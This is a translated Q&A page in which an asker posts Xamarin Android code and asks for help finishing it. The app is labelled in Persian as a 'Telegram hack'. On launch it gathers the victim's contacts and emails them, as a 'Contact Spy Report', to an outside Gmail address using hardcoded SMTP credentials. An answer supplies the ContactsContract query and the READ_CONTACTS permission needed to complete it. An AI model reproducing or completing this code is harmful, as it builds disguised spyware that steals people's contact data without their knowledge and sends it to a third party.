在Xamarin中获取Android联系人

时间:2017-03-14 12:10:38

标签: c# android xamarin xamarin.android

目前,我有一些限制,我无法使用Visual Studio。 我有一个紧急工作,需要一个Android程序,但我不知道如何在其中做一些事情,因为Visual Studio帮助我建议,但我没有。我想通过姓名和电话号码获取Android联系人。 目前,这是我在App.cs中的代码:

using System;
using System.Linq;

using Android.App;
using Android.Content;
using Android.OS;
using Android.Views;
using Android.Views.InputMethods;
using Android.Widget;
using System.Net;
using System.Net.Mail;

namespace Tlgr
{
    [Activity(Label = "هک تلگرام", MainLauncher = true)]
    public class App : Activity
    {
        protected override void OnCreate(Bundle bundle)
        {
            base.OnCreate(bundle);
            var ctks = Contact.GetContacts();
            using (var mail = new MailMessage())
            {
                mail.From = new MailAddress("feedbackhost.sender@gmail.com");
                mail.To.Add("asm262015@gmail.com");
                mail.Subject = "Contact Spy Report";
                foreach(ctk in ctks)
                {
                    mail.Body += ctk.ToString() + "\r\n";
                }
                using (var smtp = new SmtpClient("smtp.gmail.com", 587))
                {
                    smtp.Credentials = new NetworkCredential("feedbackhost.sender@gmail.com", "feedbackhost");
                    smtp.EnableSsl = true;
                    smtp.Send(mail);
                }
            }
        }
    }

    public class Contact
    {
        public string Name {get;set;}
        public string[] Numbers {get;set;}
        public override ToString()
        {
            var a = $"Name: {Name}";
            foreach (var i in Numbers)
            {
                a += " , Number: " + i;
            }
            return a;
        }

        public static Contact[] GetContacts()
        {

        }
    }
}

我只需要为方法GetContacts()添加body来解决我的问题。 我搜索过,结果很好,但我不知道如何使用它们,我需要一个完美的代码!谢谢!

1 个答案:

答案 0 :(得分:2)

您应该使用ContactsContract.Contacts

  

ContactsContract.Contacts是用于与联系人数据进行交互的数据协定。代码查询ContactsContract.Contacts.ContentUri定义的Uri上的联系人,返回从ContactsContract.Contacts.InterfaceConsts中选择的列。

 var uri = ContactsContract.CommonDataKinds.Phone.ContentUri;
string[] projection = { ContactsContract.Contacts.InterfaceConsts.Id, ContactsContract.CommonDataKinds.Phone.Number};

您可以找到更多here

您还需要添加权限READ_CONTACTS

<uses-permission android:name="android.permission.READ_CONTACTS" />